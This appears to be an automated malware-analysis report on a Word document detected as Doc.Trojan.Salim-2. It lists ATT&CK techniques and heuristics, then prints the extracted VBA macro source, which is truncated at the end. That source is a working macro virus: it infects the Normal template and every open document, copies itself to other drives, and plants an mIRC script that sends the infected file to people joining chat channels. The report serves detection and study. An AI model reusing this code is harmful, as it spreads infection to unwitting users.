MALICIOUS
320
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1059 Command and Scripting Interpreter
The sample contains VBA macros, including a Document_Open macro, which is designed to execute automatically when the document is opened. The macro utilizes CreateObject and Shell() calls, indicating an attempt to run external code. The ClamAV heuristic also identifies the file as 'Doc.Trojan.Salim-2', suggesting it's a known malicious document type.
Heuristics 6
-
ClamAV: Doc.Trojan.Salim-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Salim-2
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4470 bytes |
SHA-256: 29c1628923defc269e58407b904b0563cf33923cc689a5f0c2fafb556aff1f8a |
|||
|
Detection
ClamAV:
Doc.Trojan.Salim-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'PIJAVICA
Private Sub Document_Close(): Const dva = 2: Const jedan = 1: On Error Resume Next
If ThisDocument = ActiveDocument Then Set l = NormalTemplate Else Set l = ActiveDocument
br = ThisDocument.VBProject.VBComponents(jedan).CodeModule.CountOfLines
kod = Strings.Trim(ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(jedan, br))
Set NT1 = l.VBProject: Set NT2 = NT1.VBComponents(jedan)
Set nt3 = NT2.CodeModule: nt4 = nt3.CountOfLines
If nt3.Lines(jedan, jedan) <> "'PIJAVICA" Then
With nt3
.deletelines jedan, nt4
.insertlines jedan, kod
End With
End If
For q = jedan To Documents.Count
Set df = Documents(q).VBProject: Set sd = df.VBComponents(1)
Set fg = sd.CodeModule
If fg.Lines(jedan, jedan) <> "'PIJAVICA" Then
f = fg.CountOfLines
With fg
.deletelines jedan, f
.insertlines 1, kod
End With
End If
Next q
For s = 1 To Documents.Count
If Documents(s).VBProject.VBComponents(jedan).CodeModule.Lines(dva, _
jedan) = "Private Sub Document_Open(): Const jedan = 1: Const dva = 2: On Error Resume Next" Then
With Documents(s).VBProject.VBComponents(dva - jedan).CodeModule
.ReplaceLine dva, "Private Sub Document_Close(): Const dva = 2: Const jedan = 1: On error resume next"
End With
Else
If Documents(s).VBProject.VBComponents(dva - jedan).CodeModule.Lines(dva, _
jedan) = "Private Sub Document_Close(): Const dva = 2: Const jedan = 1: On Error Resume Next" Then
With Documents(s).VBProject.VBComponents(dva - jedan).CodeModule
.ReplaceLine dva, "Private Sub Document_Open(): Const jedan = 1: Const dva = 2: On error resume next"
End With
End If
End If
Next s
Dim fs, a
Set fs = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
If fs.getfile("C:\Salim_se!.doc") <> "Salim_se!.doc" Then
Dim R As String
Dim t(1 To 4)
t(1) = "Procitaj_me"
t(2) = "Hej_" & Application.UserName
t(3) = "Mala_sala!"
t(4) = ActiveDocument.FullName
R = t(Int(Rnd * 8 - Rnd * 2 + 1))
ActiveDocument.SaveAs "C:\Salim_se!.doc"
ActiveDocument.SaveAs "c:\My Documents" & "\" & R & ".doc"
End If
Set a = fs.Drives
For Each g In a
If g.drivetype = 3 Or 2 Then
If g.isready Then
fs.copyfile "c:\Salim_se!.doc", g.driveletter & ":\", True
End If
End If
Next g
Set ff = fs.CreateTextFile("C:\Mirc\script.ini", True)
ff.writeline "[script]"
ff.writeline "n0=on 1:JOIN:#:{"
ff.writeline "n1= /if ( $nick == $me ) { halt }"
ff.writeline "n2= /.dcc send $nick c:\Salim_se!.doc"
ff.writeline "n3=}"
ff.Close
If Day(Now()) = Int(dva * dva + jedan + dva) Then
Set pl = fs.CreateTextFile("C:\Multipare.txt", True)
pl.writeline " °°°°° °°°°° "
pl.writeline " °°°°°°°°° °°°°°°° "
pl.writeline " °°°°°°°°°°°°°°°°°°°°°°°"
pl.writeline " °°°°°°°±±±±±±±±±°°±±±±±±±±"
pl.writeline " °°°°°±±ŰŰŰŰŰŰŰ۰°±ŰŰŰŰŰŰŰŰ greetz to:"
pl.writeline " °°°°°±Ű۰ °°°°±Ű۰° ŰŰ ÄÄÄÄÄÄÄÄÄÄ"
pl.writeline " °°°°°±Ű۰° °°°°±Ű۰°°° Ű K04x"
pl.writeline " °°°±Ű۰°°° °°°±Ű۰°°°°°Ű e-mAn"
pl.writeline " °°°±ŰŰŰŰŰŰŰ °°°±Ű۰ŰŰŰŰŰŰ rudeBoy"
pl.writeline " °°±ŰŰŰŰŰŰŰ °°°±Ű۰ŰŰŰŰŰŰ abasi-"
pl.writeline " °°±Ű۰° °°±Ű۰°°° Ű vr4g"
pl.writeline " °±Ű۰°°° °±Ű۰°°°°°Ű SnakeLord"
pl.writeline " °±ŰŰEBVL-2K ±Ű۰°°°°ŰŰ Morphex"
pl.writeline " °±ŰŰŰŰŰŰŰŰ ŰŰŰŰŰŰŰŰ Wex-Alpha"
pl.Close
Set pl2 = fs.CreateTextFile("C:\Multipare.bat", True)
pl2.writeline "echo off"
pl2.writeline "cls"
pl2.writeline "command /c type c:\multipare.txt"
pl2.Close
Shell "c:\multipare.bat", vbNormalNoFocus
End If
End Sub
'WM.Multipare by e[ax]
'Inficira sve otvorene dokumente ukljucujuci i NT!
'Koristi OPE v1.1 [Obican Polimor
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.